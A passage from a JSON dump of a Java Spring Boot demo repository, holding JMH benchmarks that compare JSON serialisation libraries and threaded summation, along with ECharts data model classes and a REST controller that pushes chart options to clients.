,\\\"middleName\\\":\\\"xxx_middle\\\",\\\"lastName\\\":\\\"xxx_last\\\"},\\\"age\\\":24,\\\"birthday\\\":null,\\\"hobbies\\\":[\\\"篮球\\\",\\\"游泳\\\",\\\"coding\\\"],\\\"clothes\\\":{\\\"shoes\\\":\\\"安踏\\\",\\\"trousers\\\":\\\"adidas\\\",\\\"coat\\\":\\\"Nike\\\"},\\\"friends\\\":null}]}\";\n    }\n\n    @TearDown\n    public void shutdown() {\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/json/JsonSerializeBenchmark.java",
    "content": "package com.xncoding.benchmark.json;\n\nimport com.xncoding.benchmark.common.ResultExporter;\nimport com.xncoding.benchmark.json.model.FullName;\nimport com.xncoding.benchmark.json.model.Person;\nimport com.xncoding.benchmark.json.util.FastJsonUtil;\nimport com.xncoding.benchmark.json.util.GsonUtil;\nimport com.xncoding.benchmark.json.util.JacksonUtil;\nimport com.xncoding.benchmark.json.util.JsonLibUtil;\nimport com.xncoding.benchmark.sum.calc.impl.MultithreadCalculator;\nimport com.xncoding.benchmark.sum.calc.impl.SinglethreadCalculator;\nimport org.openjdk.jmh.annotations.*;\nimport org.openjdk.jmh.infra.BenchmarkParams;\nimport org.openjdk.jmh.results.BenchmarkResult;\nimport org.openjdk.jmh.results.Result;\nimport org.openjdk.jmh.results.RunResult;\nimport org.openjdk.jmh.runner.Runner;\nimport org.openjdk.jmh.runner.options.Options;\nimport org.openjdk.jmh.runner.options.OptionsBuilder;\n\nimport java.util.*;\nimport java.util.concurrent.TimeUnit;\nimport java.util.stream.IntStream;\n\nimport static com.xncoding.echarts.common.util.ExportPngUtil.generateOption;\nimport static com.xncoding.echarts.common.util.ExportPngUtil.postOption;\n\n/**\n * Json序列化基准测试\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\n@BenchmarkMode(Mode.SingleShotTime)\n@OutputTimeUnit(TimeUnit.SECONDS)\n@State(Scope.Benchmark)\npublic class JsonSerializeBenchmark {\n    /**\n     * 序列化次数参数\n     */\n    @Param({\"1000\", \"10000\", \"100000\"})\n    private int count;\n\n    private Person p;\n\n    public static void main(String[] args) throws Exception {\n        Options opt = new OptionsBuilder()\n                .include(JsonSerializeBenchmark.class.getSimpleName())\n                .forks(1)\n                .warmupIterations(0)\n                .build();\n        Collection<RunResult> results =  new Runner(opt).run();\n        ResultExporter.exportResult(\"JSON序列化性能\", results, \"count\", \"秒\");\n    }\n\n    @Benchmark\n    public void JsonLib() {\n        for (int i = 0; i < count; i++) {\n            JsonLibUtil.bean2Json(p);\n        }\n    }\n\n    @Benchmark\n    public void Gson() {\n        for (int i = 0; i < count; i++) {\n            GsonUtil.bean2Json(p);\n        }\n    }\n\n    @Benchmark\n    public void FastJson() {\n        for (int i = 0; i < count; i++) {\n            FastJsonUtil.bean2Json(p);\n        }\n    }\n\n    @Benchmark\n    public void Jackson() {\n        for (int i = 0; i < count; i++) {\n            JacksonUtil.bean2Json(p);\n        }\n    }\n\n    @Setup\n    public void prepare() {\n        List<Person> friends=new ArrayList<Person>();\n        friends.add(createAPerson(\"小明\",null));\n        friends.add(createAPerson(\"Tony\",null));\n        friends.add(createAPerson(\"陈小二\",null));\n        p=createAPerson(\"邵同学\",friends);\n    }\n\n    @TearDown\n    public void shutdown() {\n    }\n\n    private Person createAPerson(String name,List<Person> friends) {\n        Person newPerson=new Person();\n        newPerson.setName(name);\n        newPerson.setFullName(new FullName(\"zjj_first\", \"zjj_middle\", \"zjj_last\"));\n        newPerson.setAge(24);\n        List<String> hobbies=new ArrayList<String>();\n        hobbies.add(\"篮球\");\n        hobbies.add(\"游泳\");\n        hobbies.add(\"coding\");\n        newPerson.setHobbies(hobbies);\n        Map<String,String> clothes=new HashMap<String, String>();\n        clothes.put(\"coat\", \"Nike\");\n        clothes.put(\"trousers\", \"adidas\");\n        clothes.put(\"shoes\", \"安踏\");\n        newPerson.setClothes(clothes);\n        newPerson.setFriends(friends);\n        return newPerson;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/json/model/FullName.java",
    "content": "package com.xncoding.benchmark.json.model;\n\n/**\n * FullName\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\npublic class FullName {\n    private String firstName;\n    private String middleName;\n    private String lastName;\n\n    public FullName() {\n    }\n\n    public FullName(String firstName, String middleName, String lastName) {\n        this.firstName = firstName;\n        this.middleName = middleName;\n        this.lastName = lastName;\n    }\n\n    public String getFirstName() {\n        return firstName;\n    }\n\n    public void setFirstName(String firstName) {\n        this.firstName = firstName;\n    }\n\n    public String getMiddleName() {\n        return middleName;\n    }\n\n    public void setMiddleName(String middleName) {\n        this.middleName = middleName;\n    }\n\n    public String getLastName() {\n        return lastName;\n    }\n\n    public void setLastName(String lastName) {\n        this.lastName = lastName;\n    }\n\n    @Override\n    public String toString() {\n        return \"[firstName=\" + firstName + \", middleName=\"\n                + middleName + \", lastName=\" + lastName + \"]\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/json/model/Person.java",
    "content": "package com.xncoding.benchmark.json.model;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Person\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\npublic class Person {\n    private String name;\n    private FullName fullName;\n    private int age;\n    private Date birthday;\n    private List<String> hobbies;\n    private Map<String, String> clothes;\n    private List<Person> friends;\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public FullName getFullName() {\n        return fullName;\n    }\n\n    public void setFullName(FullName fullName) {\n        this.fullName = fullName;\n    }\n\n    public int getAge() {\n        return age;\n    }\n\n    public void setAge(int age) {\n        this.age = age;\n    }\n\n    public Date getBirthday() {\n        return birthday;\n    }\n\n    public void setBirthday(Date birthday) {\n        this.birthday = birthday;\n    }\n\n    public List<String> getHobbies() {\n        return hobbies;\n    }\n\n    public void setHobbies(List<String> hobbies) {\n        this.hobbies = hobbies;\n    }\n\n    public Map<String, String> getClothes() {\n        return clothes;\n    }\n\n    public void setClothes(Map<String, String> clothes) {\n        this.clothes = clothes;\n    }\n\n    public List<Person> getFriends() {\n        return friends;\n    }\n\n    public void setFriends(List<Person> friends) {\n        this.friends = friends;\n    }\n\n    @Override\n    public String toString() {\n        StringBuilder str = new StringBuilder(\"Person [name=\" + name + \", fullName=\" + fullName + \", age=\"\n                + age + \", birthday=\" + birthday + \", hobbies=\" + hobbies\n                + \", clothes=\" + clothes + \"]\\n\");\n        if (friends != null) {\n            str.append(\"Friends:\\n\");\n            for (Person f : friends) {\n                str.append(\"\\t\").append(f);\n            }\n        }\n        return str.toString();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/json/util/FastJsonUtil.java",
    "content": "package com.xncoding.benchmark.json.util;\n\nimport com.alibaba.fastjson.JSON;\n\n/**\n * FastJsonUtil\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\npublic class FastJsonUtil {\n    public static String bean2Json(Object obj) {\n        return JSON.toJSONString(obj);\n    }\n\n    public static <T> T json2Bean(String jsonStr, Class<T> objClass) {\n        return JSON.parseObject(jsonStr, objClass);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/json/util/GsonUtil.java",
    "content": "package com.xncoding.benchmark.json.util;\n\n/**\n * GsonUtil\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\n\nimport com.google.gson.Gson;\nimport com.google.gson.GsonBuilder;\nimport com.google.gson.JsonElement;\nimport com.google.gson.JsonParser;\n\npublic class GsonUtil {\n    private static Gson gson = new GsonBuilder().create();\n\n    public static String bean2Json(Object obj) {\n        return gson.toJson(obj);\n    }\n\n    public static <T> T json2Bean(String jsonStr, Class<T> objClass) {\n        return gson.fromJson(jsonStr, objClass);\n    }\n\n    public static String jsonFormatter(String uglyJsonStr) {\n        Gson gson = new GsonBuilder().setPrettyPrinting().create();\n        JsonParser jp = new JsonParser();\n        JsonElement je = jp.parse(uglyJsonStr);\n        return gson.toJson(je);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/json/util/JacksonUtil.java",
    "content": "package com.xncoding.benchmark.json.util;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\nimport java.io.IOException;\n\n/**\n * JacksonUtil\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\npublic class JacksonUtil {\n    private static ObjectMapper mapper = new ObjectMapper();\n\n    public static String bean2Json(Object obj) {\n        try {\n            return mapper.writeValueAsString(obj);\n        } catch (JsonProcessingException e) {\n            e.printStackTrace();\n            return null;\n        }\n    }\n\n    public static <T> T json2Bean(String jsonStr, Class<T> objClass) {\n        try {\n            return mapper.readValue(jsonStr, objClass);\n        } catch (IOException e) {\n            e.printStackTrace();\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/json/util/JsonLibUtil.java",
    "content": "package com.xncoding.benchmark.json.util;\n\nimport net.sf.json.JSONObject;\n\n/**\n * JsonLibUtil\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\n\npublic class JsonLibUtil {\n\n    public static String bean2Json(Object obj) {\n        JSONObject jsonObject = JSONObject.fromObject(obj);\n        return jsonObject.toString();\n    }\n\n    @SuppressWarnings(\"unchecked\")\n    public static <T> T json2Bean(String jsonStr, Class<T> objClass) {\n        return (T) JSONObject.toBean(JSONObject.fromObject(jsonStr), objClass);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/string/StringBuilderBenchmark.java",
    "content": "package com.xncoding.benchmark.string;\n\nimport org.openjdk.jmh.annotations.*;\nimport org.openjdk.jmh.runner.Runner;\nimport org.openjdk.jmh.runner.RunnerException;\nimport org.openjdk.jmh.runner.options.Options;\nimport org.openjdk.jmh.runner.options.OptionsBuilder;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * 比较字符串直接相加和StringBuilder的效率\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/25\n */\n@BenchmarkMode(Mode.Throughput)\n@Warmup(iterations = 3)\n@Measurement(iterations = 10, time = 5, timeUnit = TimeUnit.SECONDS)\n@Threads(8)\n@Fork(2)\n@OutputTimeUnit(TimeUnit.MILLISECONDS)\npublic class StringBuilderBenchmark {\n\n    @Benchmark\n    public void testStringAdd() {\n        String a = \"\";\n        for (int i = 0; i < 10; i++) {\n            a += i;\n        }\n        print(a);\n    }\n\n    @Benchmark\n    public void testStringBuilderAdd() {\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < 10; i++) {\n            sb.append(i);\n        }\n        print(sb.toString());\n    }\n\n    private void print(String a) {\n    }\n\n\n    public static void main(String[] args) throws RunnerException {\n        Options options = new OptionsBuilder()\n                .include(StringBuilderBenchmark.class.getSimpleName())\n                .output(\"E:/Benchmark.log\")\n                .build();\n        new Runner(options).run();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/sum/SecondBenchmark.java",
    "content": "package com.xncoding.benchmark.sum;\n\nimport com.xncoding.benchmark.common.ResultExporter;\nimport com.xncoding.benchmark.sum.calc.Calculator;\nimport com.xncoding.benchmark.sum.calc.impl.MultithreadCalculator;\nimport com.xncoding.benchmark.sum.calc.impl.SinglethreadCalculator;\nimport org.openjdk.jmh.annotations.*;\nimport org.openjdk.jmh.results.RunResult;\nimport org.openjdk.jmh.runner.Runner;\nimport org.openjdk.jmh.runner.options.Options;\nimport org.openjdk.jmh.runner.options.OptionsBuilder;\n\nimport java.util.Collection;\nimport java.util.concurrent.TimeUnit;\nimport java.util.stream.IntStream;\n\n/**\n * SecondBenchmark\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\n@BenchmarkMode(Mode.AverageTime)\n@OutputTimeUnit(TimeUnit.MICROSECONDS)\n@State(Scope.Benchmark)\npublic class SecondBenchmark {\n    @Param({\"10000\", \"100000\", \"1000000\"})\n    private int length;\n\n    private int[] numbers;\n    private Calculator singleThreadCalc;\n    private Calculator multiThreadCalc;\n\n    public static void main(String[] args) throws Exception {\n        Options opt = new OptionsBuilder()\n                .include(SecondBenchmark.class.getSimpleName())\n                .forks(1)\n                .warmupIterations(5)\n                .measurementIterations(2)\n                .build();\n        Collection<RunResult> results =  new Runner(opt).run();\n        ResultExporter.exportResult(\"单线程与多线程求和性能\", results, \"length\", \"微秒\");\n    }\n\n    @Benchmark\n    public long singleThreadBench() {\n        return singleThreadCalc.sum(numbers);\n    }\n\n    @Benchmark\n    public long multiThreadBench() {\n        return multiThreadCalc.sum(numbers);\n    }\n\n    @Setup\n    public void prepare() {\n        numbers = IntStream.rangeClosed(1, length).toArray();\n        singleThreadCalc = new SinglethreadCalculator();\n        multiThreadCalc = new MultithreadCalculator(Runtime.getRuntime().availableProcessors());\n    }\n\n    @TearDown\n    public void shutdown() {\n        singleThreadCalc.shutdown();\n        multiThreadCalc.shutdown();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/sum/calc/Calculator.java",
    "content": "package com.xncoding.benchmark.sum.calc;\n\n/**\n * Calculator\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\npublic interface Calculator {\n    /**\n     * calculate sum of an integer array\n     *\n     * @param numbers\n     * @return\n     */\n    public long sum(int[] numbers);\n\n    /**\n     * shutdown pool or reclaim any related resources\n     */\n    public void shutdown();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/sum/calc/impl/MultithreadCalculator.java",
    "content": "package com.xncoding.benchmark.sum.calc.impl;\n\nimport com.xncoding.benchmark.sum.calc.Calculator;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.Future;\n\n/**\n * MultithreadCalculator\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\npublic class MultithreadCalculator implements Calculator {\n    private final int nThreads;\n    private final ExecutorService pool;\n\n    public MultithreadCalculator(int nThreads) {\n        this.nThreads = nThreads;\n        this.pool = Executors.newFixedThreadPool(nThreads);\n    }\n\n    private class SumTask implements Callable<Long> {\n        private int[] numbers;\n        private int from;\n        private int to;\n\n        public SumTask(int[] numbers, int from, int to) {\n            this.numbers = numbers;\n            this.from = from;\n            this.to = to;\n        }\n\n        public Long call() throws Exception {\n            long total = 0L;\n            for (int i = from; i < to; i++) {\n                total += numbers[i];\n            }\n            return total;\n        }\n    }\n\n    public long sum(int[] numbers) {\n        int chunk = numbers.length / nThreads;\n\n        int from, to;\n        List<SumTask> tasks = new ArrayList<SumTask>();\n        for (int i = 1; i <= nThreads; i++) {\n            if (i == nThreads) {\n                from = (i - 1) * chunk;\n                to = numbers.length;\n            } else {\n                from = (i - 1) * chunk;\n                to = i * chunk;\n            }\n            tasks.add(new SumTask(numbers, from, to));\n        }\n\n        try {\n            List<Future<Long>> futures = pool.invokeAll(tasks);\n            long total = 0L;\n            for (Future<Long> future : futures) {\n                total += future.get();\n            }\n            return total;\n        } catch (Exception e) {\n            // ignore\n            return 0;\n        }\n    }\n\n    @Override\n    public void shutdown() {\n        pool.shutdown();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/sum/calc/impl/SinglethreadCalculator.java",
    "content": "package com.xncoding.benchmark.sum.calc.impl;\n\nimport com.xncoding.benchmark.sum.calc.Calculator;\n\n/**\n * SinglethreadCalculator\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\npublic class SinglethreadCalculator implements Calculator {\n    public long sum(int[] numbers) {\n        long total = 0L;\n        for (int i : numbers) {\n            total += i;\n        }\n        return total;\n    }\n\n    @Override\n    public void shutdown() {\n        // nothing to do\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/PublicController.java",
    "content": "package com.xncoding.echarts.api;\n\nimport com.corundumstudio.socketio.AckRequest;\nimport com.corundumstudio.socketio.SocketIOClient;\nimport com.corundumstudio.socketio.annotation.OnEvent;\nimport com.xncoding.echarts.api.model.BaseResponse;\nimport com.xncoding.echarts.api.model.EchartsData;\nimport com.xncoding.echarts.api.model.PicRequest;\nimport com.xncoding.echarts.service.ApiService;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.apache.commons.io.IOUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport java.nio.charset.Charset;\n\n/**\n * 对外API接口类\n */\n@RestController\n@RequestMapping(value = \"/api/v1\")\npublic class PublicController {\n\n    @Resource\n    private ApiService apiService;\n\n    private static final Logger _logger = LoggerFactory.getLogger(PublicController.class);\n\n    /**\n     * 数据上传接口，body直接接受字符串，不要转\n     * @return 结果\n     *\n    {\n        \"title\": {\n            \"text\": \"天气预报\"\n        },\n        \"tooltip\": {\n            \"trigger\": \"axis\",\n            \"axisPointer\": {\n                \"type\": \"shadow\"\n            }\n        },\n        \"legend\": {\n            \"data\": [\"City Alpha\", \"City Beta\", \"City Gamma\"]\n        },\n        \"grid\": {\n            \"left\": 100\n        },\n        \"toolbox\": {\n            \"show\": false,\n            \"feature\": {\n                \"saveAsImage\": {}\n            }\n        },\n        \"xAxis\": {\n            \"type\": \"value\",\n            \"name\": \"Days\"\n        },\n        \"yAxis\": {\n            \"type\": \"category\",\n            \"inverse\": false,\n            \"data\": [\"Sunny\", \"Cloudy\", \"Showers\"],\n            \"axisLabel\": {\n                \"margin\": 20\n            }\n        },\n        \"series\": [\n            {\n                \"name\": \"City Alpha\",\n                \"type\": \"bar\",\n                \"label\": {\n                    \"normal\": {\n                        \"show\": true,\n                        \"textBorderWidth\": 2\n                    }\n                },\n                \"data\": [165, 170, 30]\n            },\n            {\n                \"name\": \"City Beta\",\n                \"type\": \"bar\",\n                \"label\": {\n                    \"normal\": {\n                        \"show\": true,\n                        \"textBorderWidth\": 2\n                    }\n                },\n                \"data\": [150, 105, 110]\n            },\n            {\n                \"name\": \"City Gamma\",\n                \"type\": \"bar\",\n                \"label\": {\n                    \"normal\": {\n                        \"show\": true,\n                        \"textBorderWidth\": 2\n                    }\n                },\n                \"data\": [220, 82, 63]\n            }\n        ]\n    }\n     */\n    @RequestMapping(value = \"/data\", method = RequestMethod.POST)\n    public ResponseEntity<BaseResponse> doJoin(HttpServletRequest request) throws Exception {\n        _logger.info(\"数据上传消息push接口 start....\");\n        String jsonBody = IOUtils.toString(request.getInputStream(), Charset.forName(\"UTF-8\"));\n        EchartsData echartsData = new EchartsData(\"\", jsonBody);\n        String jsonString = new ObjectMapper().writeValueAsString(echartsData);\n        apiService.pushMsg(\"notify\", jsonString);\n        BaseResponse result = new BaseResponse<>(true, \"数据上传消息push成功\", null);\n        return new ResponseEntity<>(result, HttpStatus.OK);\n    }\n\n//    @RequestMapping(value = \"/ask\", method = RequestMethod.POST)\n//    public ResponseEntity<BaseResponse> doAsk() {\n//        ResponseEntity<BaseResponse> result;\n//        String jsonString = apiService.popJson();\n//        if (jsonString == null) {\n//            result = new ResponseEntity<>(new BaseResponse<>(false, \"轮询没有查到数据\", null), HttpStatus.OK);\n//        } else {\n//            _logger.info(\"轮询后查询到数据\");\n//            result = new ResponseEntity<>(new BaseResponse<>(true, \"轮询后查询到数据\", jsonString), HttpStatus.OK);\n//        }\n//        return result;\n//    }\n//\n//    /**\n//     * 保存客户端传来的图片数据\n//     *\n//     * @param picInfo 图片BASE64\n//     */\n//    @RequestMapping(value = \"/savePic\", method = RequestMethod.POST)\n//    public ResponseEntity<BaseResponse> onSavePic(@RequestParam(\"picInfo\") String picInfo) {\n//        _logger.info(\"保存客户端传来的图片数据 start\");\n//        String r = apiService.saveBase64Pic(picInfo);\n//        _logger.info(\"保存客户端传来的图片 = {}\", r);\n//        return  new ResponseEntity<>(new BaseResponse<>(true, \"图片保存成功\", null), HttpStatus.OK);\n//    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/BaseResponse.java",
    "content": "package com.xncoding.echarts.api.model;\n\n/**\n * API接口的基础返回类\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/7\n */\npublic class BaseResponse<T> {\n    /**\n     * 是否成功\n     */\n    private boolean success;\n\n    /**\n     * 说明\n     */\n    private String msg;\n\n    /**\n     * 返回数据\n     */\n    private T data;\n\n    public BaseResponse() {\n\n    }\n\n    public BaseResponse(boolean success, String msg, T data) {\n        this.success = success;\n        this.msg = msg;\n        this.data = data;\n    }\n\n    public boolean isSuccess() {\n        return success;\n    }\n\n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public void setData(T data) {\n        this.data = data;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/EchartsData.java",
    "content": "package com.xncoding.echarts.api.model;\n\n/**\n * EchartsData\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/8\n */\npublic class EchartsData {\n    /**\n     * 图表类型\n     */\n    private String msgType;\n    /**\n     * 图表数据\n     */\n    private String option;\n\n    public EchartsData() {\n    }\n\n    public EchartsData(String msgType, String option) {\n        this.msgType = msgType;\n        this.option = option;\n    }\n\n    public String getMsgType() {\n        return msgType;\n    }\n\n    public void setMsgType(String msgType) {\n        this.msgType = msgType;\n    }\n\n    public String getOption() {\n        return option;\n    }\n\n    public void setOption(String option) {\n        this.option = option;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/PicRequest.java",
    "content": "package com.xncoding.echarts.api.model;\n\n/**\n * PicRequest\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/8\n */\npublic class PicRequest {\n    /**\n     * Base64格式的图片\n     */\n    private String picInfo;\n\n    public String getPicInfo() {\n        return picInfo;\n    }\n\n    public void setPicInfo(String picInfo) {\n        this.picInfo = picInfo;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/AxisPointer.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * AxisPointer\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class AxisPointer {\n    public AxisPointer() {\n    }\n\n    public AxisPointer(String type) {\n        this.type = type;\n    }\n\n    private String type;\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Feature.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * Feature\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Feature {\n    private SaveAsImage saveAsImage;\n\n    public Feature() {\n    }\n\n    public Feature(SaveAsImage saveAsImage) {\n        this.saveAsImage = saveAsImage;\n    }\n\n    public SaveAsImage getSaveAsImage() {\n        return saveAsImage;\n    }\n\n    public void setSaveAsImage(SaveAsImage saveAsImage) {\n        this.saveAsImage = saveAsImage;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Grid.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * Grid\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Grid {\n\n    private Integer left;\n\n    public Grid(Integer left) {\n        this.left = left;\n    }\n\n    public Grid() {\n    }\n\n    public Integer getLeft() {\n        return left;\n    }\n\n    public void setLeft(Integer left) {\n        this.left = left;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Label.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * Label\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Label {\n    private Normal normal;\n\n    public Label() {\n    }\n\n    public Label(Normal normal) {\n        this.normal = normal;\n    }\n\n    public Normal getNormal() {\n        return normal;\n    }\n\n    public void setNormal(Normal normal) {\n        this.normal = normal;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Legend.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\nimport java.util.List;\n\n/**\n * Legend\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Legend {\n    private List<String> data;\n\n    public Legend() {\n    }\n\n    public Legend(List<String> data) {\n        this.data = data;\n    }\n\n    public List<String> getData() {\n        return data;\n    }\n\n    public void setData(List<String> data) {\n        this.data = data;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Normal.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * Normal\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Normal {\n    private boolean show;\n    private Integer textBorderWidth;\n\n    public Normal() {\n    }\n\n    public Normal(boolean show, Integer textBorderWidth) {\n        this.show = show;\n        this.textBorderWidth = textBorderWidth;\n    }\n\n    public boolean isShow() {\n        return show;\n    }\n\n    public void setShow(boolean show) {\n        this.show = show;\n    }\n\n    public Integer getTextBorderWidth() {\n        return textBorderWidth;\n    }\n\n    public void setTextBorderWidth(Integer textBorderWidth) {\n        this.textBorderWidth = textBorderWidth;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Option.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\nimport java.util.List;\n\n/**\n * 汇总Option\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Option {\n    private Title title;\n    private Tooltip tooltip;\n    private Legend legend;\n    private Grid grid;\n    private Toolbox toolbox;\n    private XAxis xAxis;\n    private YAxis yAxis;\n    private List<Serie> series;\n\n    public Title getTitle() {\n        return title;\n    }\n\n    public void setTitle(Title title) {\n        this.title = title;\n    }\n\n    public Tooltip getTooltip() {\n        return tooltip;\n    }\n\n    public void setTooltip(Tooltip tooltip) {\n        this.tooltip = tooltip;\n    }\n\n    public Legend getLegend() {\n        return legend;\n    }\n\n    public void setLegend(Legend legend) {\n        this.legend = legend;\n    }\n\n    public Grid getGrid() {\n        return grid;\n    }\n\n    public void setGrid(Grid grid) {\n        this.grid = grid;\n    }\n\n    public Toolbox getToolbox() {\n        return toolbox;\n    }\n\n    public void setToolbox(Toolbox toolbox) {\n        this.toolbox = toolbox;\n    }\n\n    public XAxis getxAxis() {\n        return xAxis;\n    }\n\n    public void setxAxis(XAxis xAxis) {\n        this.xAxis = xAxis;\n    }\n\n    public YAxis getyAxis() {\n        return yAxis;\n    }\n\n    public void setyAxis(YAxis yAxis) {\n        this.yAxis = yAxis;\n    }\n\n    public List<Serie> getSeries() {\n        return series;\n    }\n\n    public void setSeries(List<Serie> series) {\n        this.series = series;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/SaveAsImage.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * SaveAsImage\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/10\n */\npublic class SaveAsImage {\n    private String type;\n\n    public SaveAsImage() {\n    }\n\n    public SaveAsImage(String type) {\n        this.type = type;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Serie.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\nimport java.util.List;\n\n/**\n * Serie\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Serie {\n    private String name;\n    private String type;\n    private List<Double> data;\n    private Label label;\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public List<Double> getData() {\n        return data;\n    }\n\n    public void setData(List<Double> data) {\n        this.data = data;\n    }\n\n    public Label getLabel() {\n        return label;\n    }\n\n    public void setLabel(Label label) {\n        this.label = label;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Title.java",
